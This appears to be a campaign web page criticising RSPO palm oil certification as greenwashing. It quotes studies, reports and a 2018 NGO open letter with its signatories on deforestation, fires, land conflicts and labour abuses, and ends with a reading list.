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Research analysing media and social media messages around palm oil in Malaysia and Indonesia finds that palm oil lobbyists use an ‘Us’ Versus ‘Them’ narrative, in other words, they invoke colonial racism to justify continued deforestation and ecocide.
Four mutually complementary narratives were used by Indonesian and Malaysian media to construe denialism These denialist narratives appeal to a nationalist sentiment of ‘us’ – palm oil-producing developing countries – and ‘them’ – western developed countries producing research critical of the industry.
Liu, Felicia & Ganesan, Vignaa & Smith, Thomas. (2020). Contrasting communications of sustainability science in the media coverage of palm oil agriculture on tropical peatlands in Indonesia, Malaysia and Singapore. Environmental Science & Policy. 114. 162-169. 10.1016/j.envsci.2020.07.004.
RSPO advertisement from social media, with a focus on promoting better workers rights under certified palm oil. An RSPO advertisement targeting the Indian market in 2021 by the RSPO showing supposed benefits for palm oil workers.We had the luck to be born into a developed country, I believe we need to acknowledge the right of lesser-developed countries to develop. We simply have no right to tell a country like Indonesia to forgo economic development, but we can help to steer that development in a sustainable direction.
Michelle Desilets, Director, Orangutan Land Trust. The Switch Report, 2014
Social media messaging by palm oil lobbyists reflects a focus on ‘Us’: poor, palm oil producing nations, versus ‘Them’: the ‘greedy, already developed West.
https://twitter.com/CPOPC_ORG/status/1295253527191642113?s=20
https://twitter.com/palmoiltruther/status/1420662530863550464?s=20
https://twitter.com/palm_eu/status/1440943483410386945?s=20
https://twitter.com/emeijaard/status/1191961097294757889?s=20
https://twitter.com/palmoilmonitor/status/1445795527560515587?s=20
https://twitter.com/CIFOR/status/1016759321701552133?s=20
Reality: Human rights abuses and landgrabbing are ongoing for “sustainable” palm oil
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University of Michigan 2023 study: RSPO plantations do not reduce deforestation in Guatemala
A 2021 Investigation by Global Witness found that palm oil companies in Papua New Guinea are alleged to have been involved in corruption, child labour, tax evasion, deforestation, worker deaths and paying police to assault villagers.
The palm oil from these mills in Papua New Guinea is used by RSPO members Colgate-Palmolive, Kelloggs, General Mills, Nestle, Hersheys, Danone, PZ Cussons – finds its way into our weekly supermarket shop.
Read reporthttps://twitter.com/earthsight/status/1192827396451438592?s=20&t=rnSAWHikl-a8C6GAd9n09g
https://twitter.com/Rainforest_RIN/status/1541428640491212801?s=20&t=rnSAWHikl-a8C6GAd9n09g
A 2019 World Health Organisation (WHO) report into the palm oil industry finds extensive greenwashing of human rights abuses
Read moreCertified goods improve the price and income of sale for certified goods, but they do not advance equity, income or assets for workers
We identified 64 conflicts that involved RSPO member companies, of which 17 prompted communities to convey their grievances to the RSPO’s conflict resolution mechanism…We conclude that—on all counts—the conflict resolution mechanism is biased in favor of companies. The result of these biases is that the actual capacity of the RSPO’s mechanism to provide a meaningful remedy for rural communities’ grievances remains very limited. This unequal access to justice sustains conflicts between companies and communities over land.
Afrizal, A., Hospes, O., Berenschot, W. et al. Unequal access to justice: an evaluation of RSPO’s capacity to resolve palm oil conflicts in Indonesia. Agric Hum Values 40, 291–304 (2023). https://doi.org/10.1007/s10460-022-10360-z
We find positive effects on prices and income from sale of certified products. However, we find no change in overall household income and assets for workers. The wages for workers are not higher in certified production.
Oya, C., Schaefer, F. & Skalidou, D. The effectiveness of agricultural certification in developing countries: a systematic review. World Dev. 112, 282–312 (2018).
We find that, while sustainability standards can help improve the sustainability of production processes in certain situations, they are insufficient to ensure food system sustainability at scale, nor do they advance equity objectives in agrifood supply chains.
Meemken, EM., Barrett, C.B., Michelson, H.C. et al. Sustainability standards in global agrifood supply chains. Nat Food (2021). https://doi.org/10.1038/s43016-021-00360-3
Deforestation by fire for palm oilDeforestation – Craig Jones Wildlife Photography After a forest fire in Sumatra – Craig Jones Wildlife Photography Research: Palm Oil Deforestation and its connection to retail brandsOil palm expansion is shaped by wider political economies and development policies.
Market-based development policies have favored large-scale over smallholder production.
Benefits from oil palm are unevenly distributed across rural population.
Violence across forest frontiers has fueled conflicts linked to oil palm.
Weak forest governance has led to significant deforestation by industrial plantations.
A. Castellanos-Navarrete, F. de Castro, P. Pacheco,
The impact of oil palm on rural livelihoods and tropical forest landscapes in Latin America, Journal of Rural Studies,
Volume 81, 2021, https://doi.org/10.1016/j.jrurstud.2020.10.047.This article argues that the form of sustainability offered by certification schemes such as the RSPO fetishes the commodity palm oil in order to assuage critical consumer initiatives in the North. This technical-managerial solution is part of a larger project: the “post-political” climate politics regime (Swyngedouw) that attempts to “green” the status quo.
Commodifying sustainability: Development, nature and politics in the palm oil industry (2019) World Development
Volume 121, September 2019, Pages 218-228- The palm oil industry is neither sustainable nor a viable development model.
- Certification represents a technical fix which neglects underlying dynamics of power, class, gender and accumulation.
- The fetishised commodity ‘certified sustainable palm oil’ has no impact on the regional scale of expansion.
- Working conditions in the plantations and mills entrench social inequality and poverty.
From: Commodifying sustainability: Development, nature and politics in the palm oil industry (2019) World Development
Deforestation in West PapuaDeforestation – Craig Jones Wildlife Photography
Volume 121, September 2019, Pages 218-228Deforestation for palm oil: the impact of increased heat on human health
477 villages throughout Kalimantan were surveyed about forest health benefits.
The most frequent answer was maintenance of cool local temperatures.
Perceptions were driven by deforestation and local temperature.
Results point to possible threat of heat impacts on health.
Policy should incorporate human health when considering land use.
Nicholas H. Wolff, Yuta J. Masuda, Erik Meijaard, Jessie A. Wells, Edward T. Game,
Impacts of tropical deforestation on local temperature and human well-being perceptions, Global Environmental Change, Volume 52, 2018, https://doi.org/10.1016/j.gloenvcha.2018.07.004.The False Promise of Certification, Changing Markets (2018)
The False Promise of Certification (2018) Changing Markets Download report“While RSPO is often referred to as the best scheme in the sector, it
has several shortcomings; most notably, it allows the conversion of secondary forests and the draining
of peatlands, it has not prevented human rights violations and it does not require GHG emissions
reductions.“In light of this, we call for action to reduce demand for palm oil, such as
ditching biofuels targets, as well as channelling new plantations into non-forested areas by putting in
place a strong moratorium on palm oil expansion to forests and peatlands. Most schemes in this sector
should be abolished in light of their failures on multiple fronts.”— The False Promise of Certification (2018) Changing Markets
MSI’s (Multi-Stakeholder Initiatives including the RSPO and Rainforest Alliance) are inadequate in detecting human rights abuses and uphold standards
MSI Insight Report on Monitoring and Compliance in Multi-Stakeholder Initiatives (MSIs) like the RSPO (2020) Download report“MSIs put considerable emphasis on the standards that they set, but have not developed effective mechanisms for detecting abuses, enforcing compliance with those standards, or transparently disclosing levels of compliance. Despite the emergence of models that enable rights holders to legally enforce MSIs’ standards or to be actively engaged in monitoring companies for abuses, MSIs have not adopted them. By focusing on setting standards without adequately ensuring if members are following those standards, MSIs risk providing companies and governments with powerful reputational benefits despite the persistence of rights abuses.”
The difficulty of addressing and resolving oil palm conflicts is due not only to the inadequacies of Indonesia’s legal framework regarding land and plantations but also to the way in which Indonesia’s informalized state institutions foster collusion between local power holders and palm oil companies. This collusion enables companies to evade regulation, suppress community protests and avoid engaging in constructive efforts to resolve conflicts. Furthermore, this collusion has made the available conflict resolution mechanisms largely ineffective.
Anti-Corporate Activism and Collusion: The Contentious Politics of Palm Oil Expansion in Indonesia, (2022). Ward Berenschot, et. al., Geoforum, Volume 131, 2022, https://doi.org/10.1016/j.geoforum.2022.03.002
Associated Press 2020 Report: Beauty Brands (RSPO members) L’Oreal, Colgate-Palmolive, Johnson& Johnson, Unilever linked to rape on palm oil plantations
https://twitter.com/AP/status/1330163571951611906?s=20
https://twitter.com/dwnews/status/1329701899180924928?s=20
Associated Press Investigation (2020) finds wide-spread rape, human rights abuses and slavery on palm oil plantations for well known brands: Unilever, Johnson & Johnson, L’Oreal, Avon, Colgate Palmolive Dayak Indigenous Ethnographer Dr Setia Budhi: In His Own Words“The expansion of oil palm plantations has created many detrimental environmental impacts, including deforestation, loss of biodiversity, land conflicts, labour conflicts, and social conflicts around plantations.
“Environmental damage and social injustice were reasons why the global palm oil certification, the Roundtable on Sustainable Palm Oil (RSPO) was established.
“In practice, requirements for oil palm certifications are easily violated. Lots of things are problematic.”
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Global corporates are responsible for the majority of palm oil production and deforestation risk, not smallholder farmers
The three biggest palm oil traders: Sinar Mas, Wilmar and Musim Mas – are founding members of the RSPO. They have the biggest deforestation risk of all other palm oil companies combined. Deforestation goes against the RSPO’s rules – yet these big companies do not lose their RSPO membership or face punishment.
Source: Insights: Indonesian Palm Oil. Trase Earth (2018)
Search the Environmental Justice Atlas for specific companies and their human rights abuses and land-grabbing record
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RSPO: 14 years of failure to eliminate violence and destruction from the industrial palm oil sector
Friends of the Earth and 100 other human rights and environmental NGOS co-signed this letter in 2018
Read original letterLetter
During its 14 years of existence, RSPO – the Roundtable on Sustainable Palm Oil – has failed to live up to its claim of “transforming” the industrial palm oil production sector into a so-called “sustainable” one. In reality, the RSPO has been used by the palm oil industry to greenwash corporate destruction and human rights abuses, while it continues to expand business, forest destruction and profits.
RSPO presents itself to the public with the slogan “transforming the markets to make sustainable palm oil the norm”. Palm oil has become the cheapest vegetable oil available on the global market, making it a popular choice among the group that dominates RSPO membership, big palm oil buyers.
They will do everything to secure a steady flow of cheap palm oil. They also know that the key to the corporate success story of producing “cheap” palm oil is a particular model of industrial production, with ever-increasing efficiency and productivity which in turn is achieved by:
- Planting on a large-scale and in monoculture, frequently through conversion of tropical biodiverse forests
- Using “high yielding” seedlings that demand large amounts of agrotoxics and abundant water.
- Squeezing cheap labour out of the smallest possible work force, employed in precarious conditions so that company costs are cut to a minimum
- Making significant up-front money from the tropical timber extracted from concessions, which is then used to finance plantation development or increase corporate profits.
- Grabbing land violently from local communities or by means of other arrangements with governments (including favourable tax regimes) to access land at the lowest possible cost.
Those living on the fertile land that the corporations choose to apply their industrial palm oil production model, pay a very high price.
Violence is intrinsic to this model:
- violence and repression when communities resist the corporate take over of their land because they know that once their land is turned into monoculture oil palm plantations, their livelihoods will be destroyed, their land and forests invaded. In countless cases, deforestation caused by the expansion of this industry, has displaced communities or destroyed community livelihoods where
- companies violate customary rights and take control of community land;
- sexual violence and harassment against women in and around the plantations which often stays invisible because women find themselves without possibilities to demand that the perpetrators be prosecuted;
- Child labour and precarious working conditions that go hand-in-hand with violation of workers’ rights;
- working conditions can even be so bad as to amount to contemporary forms of slavery. This exploitative model of work grants companies more economic profits while allowing palm oil to remain a cheap product. That is why, neither them or their shareholders do anything to stop it.
- exposure of workers, entire communities and forests, rivers, water springs, agricultural land and soils to the excessive application of agrotoxics;
- depriving communities surrounded by industrial oil palm plantations of their food sovereignty when industrial oil palm plantations occupy land that communities need to grow food crops.
RSPO’s proclaimed vision of transforming the industrial oil palm sector is doomed to fail because the Roundtable’s certification principles promote this structural violent and destructive model.
The RSPO also fails to address the industry’s reliance on exclusive control of large and contingent areas of fertile land, as well as the industry’s growth paradigm which demands a continued expansion of corporate control over community land and violent land grabs.
None of RPSO’s eight certification principles suggests transforming this industry reliance on exclusive control over vast areas of land or the growth paradigm inherent to the model.
Industrial use of vegetable oils has doubled in the past 15 years, with palm oil being the cheapest. This massive increase of palm oil use in part explains the current expansion of industrial oil palm plantations, especially in Africa and Latin America, from the year 2000 onward, in addition to the existing vast plantations areas in Malaysia and Indonesia that also continue expanding.
On the ground, countless examples show that industrial oil palm plantations continue to be synonymous to violence and destruction for communities and forests. Communities’ experiences in the new industrial oil palm plantation frontiers, such as Gabon, Nigeria, Cameroon, Liberia, Sierra Leone, Peru, Honduras, Brazil, Colombia, Ecuador, are similar to past and ongoing community experiences in Indonesia and Malaysia.
RSPO creates a smokescreen that makes this violence invisible for consumers and financiers. Governments often fail to take regulatory action to stop the expansion of plantations and increasing demand of palm oil; they rely on RSPO to deliver an apparently sustainable flow of palm oil.
For example, in its public propaganda, RSPO claims it supports more than 100,000 small holders. But the profit from palm oil production is still disproportionally appropriated by the oil palm companies: in 2016, 88% of all certified palm oil came from corporate plantations and 99,6% of the production is corporate-controlled.
RSPO also claims that the principle of Free, Prior and Informed Consent (FPIC) is key among its own Principles and Criteria. The right to FPIC implies, among others, that if a community denies the establishment of this monoculture in its territory, operations cannot be carried out. Reality shows us, however, that despite this, many projects go ahead.
Concessions are often guaranteed long before the company reaches out to the affected communities. Under these circumstances, to say that FPIC is central to RSPO is bluntly false and disrespectful.
RSPO also argues that where conflicts with the plantation companies arise, communities can always use its complaint mechanism. However, the mechanism is complex and it rarely solves the problems that communities face and want to resolve.
This becomes particularly apparent in relation to land legacy conflicts where the mechanism is biased against communities. It allows companies to continue exploiting community land until courts have come to a decision. This approach encourages companies to sit out such conflicts and count on court proceedings dragging on, often over decades.
Another argument used by RSPO is that industrial oil palm plantations have lifted millions of people out of poverty. That claim is certainly questionable, even more so considering that there is also an important number of people who have been displaced over the past decades to make space for plantations.
Indigenous communities have in fact lost their fertile land, forests and rivers to oil palm plantations, adversely affecting their food, culture and local economies.
The RSPO promise of “transformation” has turned into a powerful greenwashing tool for corporations in the palm oil industry. RSPO grants this industry, which remains responsible for violent land grabbing, environmental destruction, pollution through excessive use of agrotoxics and destruction of peasant and indigenous livelihoods, a “sustainable” image.
What’s more, RSPO membership seems to suffice for investors and companies to be able to claim that they are “responsible” actors. This greenwash is particularly stunning, since being a member does not guarantee much change on the ground. Only recently, a company became RSPO member after it was found to deforest over 27.000 hectares of rainforest in Papua, Indonesia.
Certification is structurally dependent on the very same policies and regulation that have given rise to the host of environmental devastation and community land rights violations associated with oil palm plantations. These systemic governance issues are part of the destructive economic model, and embedded in state power.
For this reason, voluntary certification schemes cannot provide adequate protection for forests, community rights, food sovereignty and guarantee sustainability. Governments and financiers need to take responsibility to stop the destructive palm oil expansion that violates the rights of local communities and Indigenous Peoples.
As immediate steps, governments need to:
- Put in place a moratorium on palm oil plantations expansion and use that as a breathing space to fix the policy frameworks;
- Drastically reduce demand for palm oil: stop using food for fuel;
- Strengthen and respect the rights of local communities and Indigenous Peoples to amongst others, self-determination and territorial control.
- Promote agro-ecology and community control of their forests, which strengthens local incomes, livelihoods and food sovereignty, instead of advancing industrial agro-businesses.
Signatures
- Aalamaram-NGOAcción Ecológica, Ecuador
- ActionAid, France
- AGAPAN
Amics arbres - Arbres amics
- Amis de la Terre France
- ARAARBA (Asociación para la Recuperación del Bosque Autóctono)
- Asociación Conservacionista YISKI, Costa Rica
Asociación Gaia El Salvador - Association Congo Actif, Paris
- Association Les Gens du Partage, Carrières-sous-Poissy
- Association pour le développement des aires protégées, Swizterland
- BASE IS
- Bézu St Eloi
- Boxberg OT Uhyst
- Bread for all
- Bruno Manser Fund
- CADDECAE, Ecuador
- Campaign to STOP GE Trees
- CAP, Center for Advocacy Practices
- Centar za životnu sredinu/ Friends of the Earth Bosnia and Herzegovina
- CESTA – FOE El Salvador
- CETRI – Centre tricontinental
- Climate Change Kenya
- Coalición de Tendencia Clasista. (CTC-VZLA)
- Colectivo de Investigación y Acompañmiento Comunitario
- Collectif pour la défense des terres malgaches – TANY, Madagascar
- Community Forest Watch, Nigeria
- Consumers Association of Penang
- Corporate Europe Observatory
- Cuttington University
- Down to Earth Consult
- El Campello
- Environmental Resources Management and Social Issue Centre (ERMSIC) Cameroon
- Environmental Rights Action/Friends of the Earth Nigeria
- FASE ES , Brazil
- Fédération romande des consommateurs
- FENEV, (Femmes Environnement nature Entrepreneuriat Vert).
- Focus on the Global South
- Forum Ökologie & Papier, Germany
- Friends of the Earth Ghana
- Friends of the Earth International
- GE Free NZ, New Zealand
- Global Alliance against REDD
- Global Justice Ecology Project
- Global Info
- Gobierno Territorial Autónomo de la Nación Wampís , Peru
- GRAIN
- Green Development Advocates (GDA)
- CameroonGreystones, Ireland
- Groupe International de Travail pour les Peuples Autochtones
Grupo ETC - Grupo Guayubira, Uruguay
- Instituto Mexicano de Gobernanza Medioambiental AC Instituto Mexicano de Gobernanza Medioambiental AC
- Integrated Program for the Development of the Pygmy People (PIDP), DRC
- Justica Ambiental
- Justicia Paz e Integridad de la Creacion. Costa Rica
- Kempityari
- Latin Ambiente, http://www.latinambiente.org
- Les gens du partage
- LOYOLA SCHOOL OF THEOLOGY, MANILA
- Maderas del Pueblo del Sureste, AC
- Maiouri nature, Guyane
- Mangrove Action Project
- Milieudefensie – Friends of the Earth Netherlands
- Movimento Amigos da Rua Gonçalo de Carvalho
- Muyissi Environnement, Gabon
- Nature-d-congo de la République du Congo
- New Wind Association from Finland
- NOAH-Friends of the Earth Denmark
- Oakland Institute
- OFRANEH, Honduras
- Ole Siosiomaga Society Incorporated (OLSSI)
- ONG OCEAN : Organisation Congolaise des Ecologistes et Amis de la Nature et sommes basés en RD Congo.
- OPIROMA, Brazil
- Otros Mundos A.C./Amigos de la Tierra México
- Paramo Guerrrero Zipaquira
- PROYECTO GRAN SIMIO (GAP/PGS-España)
- Quercus – ANCN, Portugal
- Radd (Reseau des Acteurs du Développement Durable) , Cameroon
- Rainforest Foundation UK
- Rainforest Relief
- ReAct – Alliances Transnationales
- RECOMA – Red latinoamericana contra los monocultivos de árboles
- Red de Coordinacion en Biodiversidad , Çosta Rica
- REFEB-Cote d’Ivoire
- Rettet den Regenwald, Germany
- ROBIN WOOD
- Sahabat Alam Malaysia (Friends of the Earth Malaysia)
- Salva la Selva
- School of Democratic Economics, Indonesia
- Serendipalm Company Limited
- Sherpa , The Netherlands
- SYNAPARCAM, Cameroon
- The Corner House, UK
Towards Equitable Sustainable Holistic Development - TRAFFED KIVU ,RD. CONGOUNIÓN UNIVERSAL DESARROLLO SOLIDARIO
University of Sussex, UK - UTB ColombiaWatch Indonesia!
- WESSA
World Rainforest Movement - Youth Volunteers for the Environment Ghana
Epidemics and rapacity of multinational companies in Liberia
Discussion Paper. The Centre for Economic Performance, London School of Economics. Release date: 12th March, 2022
Conclusion
https://twitter.com/CEP_LSE/status/1502238109677015044?s=20&t=CwBhOE-SLGkXtNxC9nXw5w
This paper provides novel granular evidence on the interaction between the Ebola epidemic, deforestation, and palm oil plantations in Liberia. The palm oil multinationals, exploiting the health crisis, stepped up deforestation to increase output. The effect on deforestation is more severe in areas inhabited by politically unrepresented ethnic groups, characterized by a reduction in tree coverage by 6.5%.
We also document an increase of more than 125% in the likelihood of
fire events within concessions during the epidemic. This suggests that not only did the palm oil companies foster deforestation, but further that they used forest fires to do so. This is particularly harmful to the environment, and the smoke and the haze may have severe health consequences, apart from being a source of carbon dioxide.This deforestation was accompanied by a 150% increase in the amount of land dedicated to cultivation.
Read moreThis exploitative behaviour was highly profitable for palm oil companies, with a 1428% increase in the value of Liberian palm oil’s exports compared with the pre-Ebola period. Unfortunately, we cannot say the same for local people or the local environment.
Greenwashing
The RSPO prevents and stops deforestation and fires on palm oil plantations by its members
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https://twitter.com/orangutans/status/1146706666508955648?s=20
https://twitter.com/orangulandtrust/status/1355496891673415680?s=20
https://twitter.com/SimamoraDupito/status/1442410921519771649?s=20
https://twitter.com/orangulandtrust/status/1355827449397915651?s=20
https://twitter.com/orangutans/status/1461673435965313025
https://twitter.com/RSPOtweets/status/1419944414751989760?s=20
https://twitter.com/RSPOtweets/status/1173741858171830272?s=20
https://twitter.com/orangulandtrust/status/1447297851038605315?s=20
https://twitter.com/HersheyCompany/status/1447916947669192709?s=20
https://twitter.com/orangulandtrust/status/1169538449680031745?s=20
https://twitter.com/RSPOtweets/status/1385138817309548544?s=20
https://twitter.com/orangulandtrust/status/1169532824375955456?s=20
https://twitter.com/Nestle/status/1404782473221967872?s=20
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Greenwashing
Lies and denialism in the media about the environmental impact of palm oil
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Research into media coverage of the environmental impact of palm oil in Indonesia shows they deny it’s causing ecocide
We found that media reporting of the denialist narrative is more prevalent than that of the peer-reviewed science consensus-view that palm oil plantations on tropical peat could cause excessive greenhouse gas emissions and enhance the risk of fires.
Our article alerts to the continuation of unsustainable practices as justified by the media to the public, and that the prevalence of these denialist narratives constitute a significant obstacle in resolving pressing issues such as transboundary haze, biodiversity loss, and land-use change related greenhouse gas emissions in Southeast Asia.
Liu, Felicia & Ganesan, Vignaa & Smith, Thomas. (2020). Contrasting communications of sustainability science in the media coverage of palm oil agriculture on tropical peatlands in Indonesia, Malaysia and Singapore. Environmental Science & Policy. 114. 162-169. 10.1016/j.envsci.2020.07.004.
https://twitter.com/CPOPC_ORG/status/1448232875535388678?s=20
https://twitter.com/CPOPC_ORG/status/1436104523756433434?s=20
Indonesian President Joko Widodo’s administration has achieved four consecutive years of deforestation declines via land-use reforms and re-establishing a logging moratorium. This significant work culminated in 2020 when the country gained its lowest deforestation rates since monitoring began, reaching a 75% drop year-over-year.
Reality: RSPO “Sustainable” Palm Oil Does Not Stop or Prevent Deforestation
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Tweet from Bart Van Assen, former lead auditor for the RSPO and HCV admitting that the main goal of the RSPO, FSC and other certification initiatives is not to prevent deforestation. (Bart has formerly used @palmoiltruther on Twitter but now changes between @Forest4Apes or @Apes4Forests depending on times when he attempts to conceal his identity).
Is there such a thing as sustainable palm oil? Satellite images show protected rainforest on fire – Neue Zürcher Zeitung (NZZ)
Certification had no causal impact on forest loss in peatlands or active fire detection rates.
Kimberly M. Carlson, Robert Heilmayr, Holly K. Gibbs, Praveen Noojipady et al. Effect of oil palm sustainability certification on deforestation and fire in Indonesia, PNAS January 2, 2018 115 (1) 121-126 https://doi.org/10.1073/pnas.1704728114
No significant difference was found between certified and non-certified plantations for any of the sustainability metrics investigated, however positive economic trends including greater fresh fruit bunch yields were revealed. To achieve intended outcomes, RSPO principles and criteria are in need of substantial improvement and rigorous enforcement.
Morgans, C. L. et al. Evaluating the effectiveness of palm oil certification in delivering multiple sustainability objectives. Environ. Res. Lett. 13, 064032 (2018).
The Neue Zuercher Zeitung used several cases to highlight where slash-and-burn techniques continue on RSPO-certified land, and where new plantations are threatening important ecosystems. These examples are representative of the huge gap between the need for environmental protection and the ever-increasing global demand for palm oil.
Adina Renner, Conradin Zellweger, Barnaby Skinner. ‘Is there such a thing as sustainable palm oil? Satellite images show protected rainforest on fire’. Neue Zürcher Zeitung (May 2021) (In English)
Swiss multinational Nestlé received hundreds of thousands of alerts of forest clearing near its palm oil suppliers in 2019 via satellite monitoring.
Nestlé identified over 1,000 cases of deforestation per day in palm oil areas. SwissInfo (2020).
https://twitter.com/adinarenner/status/1392148610448568329?s=20
Fire outbreaks in and around palm oil concessions (often starting from slash-and-burn fires to clear land for plantations).
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Thousands of fire alerts were recorded by Chain Reaction Research on RSPO member palm oil plantations
The top ten palm oil traders and refiners in Indonesia all had thousands of alerts for fires in their palm oil plantations:
- ADM
- Unilever
- Neste
- Cargill
- Bunge
- Wilmar
- Olam
- AAK
all of these companies are RSPO members
https://youtu.be/jdYT_g9ENxw?t=1346
A still from the Chain Reaction Research video: Which Companies are Expoosed to Deforestation Driven Fires in their Supply ChainsA 2019 World Health Organisation (WHO) report into the palm oil industry and RSPO finds extensive greenwashing of palm oil deforestation and the murder of endangered animals (i.e. biodiversity loss)
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Explore the series
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Join the #Boycott4Wildlife and fight greenwashing and deforestation by using your wallet as a weapon!
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Further reading on palm oil ecocide, greenwashing and deceptive marketing
- A Brief History of Consumer Culture, Dr. Kerryn Higgs, The MIT Press Reader. https://thereader.mitpress.mit.edu/a-brief-history-of-consumer-culture/
- A Deluge of Double-Speak (2017), Jason Bagley. Truth in Advertising. https://truthinadvertising.org/blog/a-deluge-of-doublespeak/
- Aggarwal, P. (2011). Greenwashing: The darker side of CSR. Indian Journal of Applied Research, 4(3), 61-66. https://www.worldwidejournals.com/indian-journal-of-applied-research-(IJAR)/article/greenwashing-the-darker-side-of-csr/MzMxMQ==/?is=1
- Anti-Corporate Activism and Collusion: The Contentious Politics of Palm Oil Expansion in Indonesia, (2022). Ward Berenschot, et. al., Geoforum, Volume 131, 2022, https://doi.org/10.1016/j.geoforum.2022.03.002
- Armour, C. (2021). Green Clean. Company Director Magazine. https://www.aicd.com.au/regulatory-compliance/regulations/investigation/green-clean.html
- Balanced Growth (2020), In: Leal Filho W., Azul A.M., Brandli L., özuyar P.G., Wall T. (eds) Responsible Consumption and Production. Encyclopedia of the UN Sustainable Development Goals. Springer, Cham
- Berenschot, W., Hospes, O., & Afrizal, A. (2023). Unequal access to justice: An evaluation of RSPO’s capacity to resolve palm oil conflicts in Indonesia. Agriculture and Human Values, 40, 291-304. https://doi.org/10.1007/s10460-022-10360-z
- Carlson, K. M., Heilmayr, R., Gibbs, H. K., Noojipady, P., et al. (2018). Effect of oil palm sustainability certification on deforestation and fire in Indonesia. PNAS, 115(1), 121-126. https://doi.org/10.1073/pnas.1704728114
- Cazzolla Gatti, R., Liang, J., Velichevskaya, A., & Zhou, M. (2018). Sustainable palm oil may not be so sustainable. Science of The Total Environment, 652, 48-51. https://pubmed.ncbi.nlm.nih.gov/30359800/
- Changing Times Media. (2019). Roundtable on Sustainable Palm Oil is ‘greenwashing’ labelled products, environmental investigation agency says. Changing Times Media. https://changingtimes.media/2019/11/03/roundtable-on-sustainable-palm-oil-is-greenwashing-labelled-products-environmental-protection-agency-says/
- Client Earth: The Greenwashing Files. https://www.clientearth.org/projects/the-greenwashing-files/
- Commodifying sustainability: Development, nature and politics in the palm oil industry (2019). World Development, Volume 121, September 2019, Pages 218-228. https://ideas.repec.org/a/eee/wdevel/v121y2019icp218-228.html
- Contrasting communications of sustainability science in the media coverage of palm oil agriculture on tropical peatlands in Indonesia, Malaysia and Singapore (2020). Liu, F. H. M., Ganesan, V., Smith, T. E. L. Environmental Science & Policy, 114. https://www.researchgate.net/publication/343772443_Contrasting_communications_of_sustainability_science_in_the_media_coverage_of_palm_oil_agriculture_on_tropical_peatlands_in_Indonesia_Malaysia_and_Singapore
- Cosimo, L. H. E., Masiero, M., Mammadova, A., & Pettenella, D. (2024). Voluntary sustainability standards to cope with the new European Union regulation on deforestation-free products: A gap analysis. Forest Policy and Economics, 164, 103235. https://doi.org/10.1016/j.forpol.2024.103235
- Dalton, J. (2018). No such thing as sustainable palm oil – ‘certified’ can destroy even more wildlife, say scientists. The Independent. https://www.independent.co.uk/climate-change/news/palm-oil-sustainable-certified-plantations-orangutans-indonesia-southeast-asia-greenwashing-purdue-a8674681.html
- Davis, S. J., Alexander, K., Moreno-Cruz, J., et al. (2023). Food without agriculture. Nature Sustainability. https://www.nature.com/articles/s41893-023-01241-2
- EIA International. (2022). Will palm oil watchdog rid itself of deforestation or continue to pretend its products are sustainable? EIA International. https://eia-international.org/news/will-palm-oil-watchdog-rid-itself-of-deforestation-or-continue-to-pretend-its-products-are-sustainable/
- Environmental Investigation Agency. (2019). Palm oil watchdog’s sustainability guarantee is still a destructive con. EIA International. https://eia-international.org/news/palm-oil-watchdogs-sustainability-guarantee-is-still-a-destructive-con/
- Federal Trade Commission. (n.d.). Green Guides. https://www.ftc.gov/news-events/topics/truth-advertising/green-guides
- Fifteen environmental NGOs demand that sustainable palm oil watchdog does its job (2019). Rainforest Action Network. https://www.ran.org/press-releases/fifteen-environmental-ngos-demand-that-sustainable-palm-oil-watchdog-does-its-job/
- Friends of the Earth International. (2018). RSPO: 14 years of failure to eliminate violence and destruction from the industrial palm oil sector. Friends of the Earth International. https://www.foei.org/rspo-14-years-of-failure-to-eliminate-violence-and-destruction-from-the-industrial-palm-oil-sector/
- Lang, Chris and REDD Monitor. Sustainable palm oil? RSPO’s greenwashing and fraudulent audits exposed. The Ecologist. https://theecologist.org/2015/nov/19/sustainable-palm-oil-rspos-greenwashing-and-fraudulent-audits-exposed
- Gatti, L., Pizzetti, M., & Seele, P. (2021). Green lies and their effect on intention to invest. Journal of Business Research, 127, 376-387. https://doi.org/10.1016/j.jbusres.2021.01.028
- Global Witness. (2023). Amazon palm: Ecocide and human rights abuses. Global Witness. https://www.globalwitness.org/en/campaigns/environmental-activists/amazon-palm/
- Global Witness. (2021). The True Price of Palm Oil. Global Witness. https://www.globalwitness.org/en/campaigns/forests/true-price-palm-oil/
- Grain. (2021). Ten reasons why certification should not be promoted in the EU anti-deforestation regulation. Grain. https://grain.org/en/article/6856-ten-reasons-why-certification-should-not-be-promoted-in-the-eu-anti-deforestation-regulation
- Green Clean (2021). Armour, C. Company Director Magazine.
- Green marketing and the Australian Consumer Law (2011). Australian Competition and Consumer Commission. https://www.accc.gov.au/system/files/Green%20marketing%20and%20the%20ACL.pdf
- Greenwash and spin: palm oil lobby targets its critics (2011). Helan, A. Ecologist: Informed by Nature. https://theecologist.org/2011/jul/08/greenwash-and-spin-palm-oil-lobby-targets-its-critics
- Greenwashing: definition and examples. Selectra https://climate.selectra.com/en/environment/greenwashing#:~:text=Greenwashing%20is%20the%20practice%20of,its%20activities%20pollute%20the%20environment.
- Greenwashing of the Palm Oil Industry (2007). Mongabay. https://news.mongabay.com/2007/11/greenwashing-the-palm-oil-industry/
- Group Challenges Rainforest Alliance Earth-Friendly Seal of Approval (2015). Truth in Advertising. https://www.truthinadvertising.org/group-challenges-rainforest-alliance-earth-friendly-seal-of-approval
- Helan, A. (2011). Greenwash and spin: palm oil lobby targets its critics. Ecologist: Informed by Nature. https://theecologist.org/2011/feb/15/greenwash-and-spin-palm-oil-lobby-targets-its-critics
- Hewlett Packard. (2021). What is Greenwashing and How to Tell Which Companies are Truly Environmentally Responsible. Hewlett Packard. https://www.hp.com/us-en/shop/tech-takes/what-is-greenwashing-environmentally-responsible-companies
- Holzner, A., Rameli, N. I. A. M., Ruppert, N., & Widdig, A. (2024). Agricultural habitat use affects infant survivorship in an endangered macaque species. Current Biology. https://pubmed.ncbi.nlm.nih.gov/38194972/
- How Cause-washing Deceives Consumers (2021). Truth in Advertising. https://truthinadvertising.org/resource/how-causewashing-deceives-consumers/
- International Labour Organization. (2020). Forced labor in the palm oil industry. ILO. https://www.ilo.org/topics/forced-labour-modern-slavery-and-human-trafficking
- Jauernig, J., Uhl, M., & Valentinov, V. (2021). The ethics of corporate hypocrisy: An experimental approach. Futures, 129, 102757. https://doi.org/10.1016/j.futures.2021.102757
- Kirby, D. (2015). Sustainable Palm Oil? Who Knows, Thanks to Derelict Auditors. Take Part. https://www.yahoo.com/news/sustainable-palm-oil-knows-thanks-derelict-auditors-200643980.html
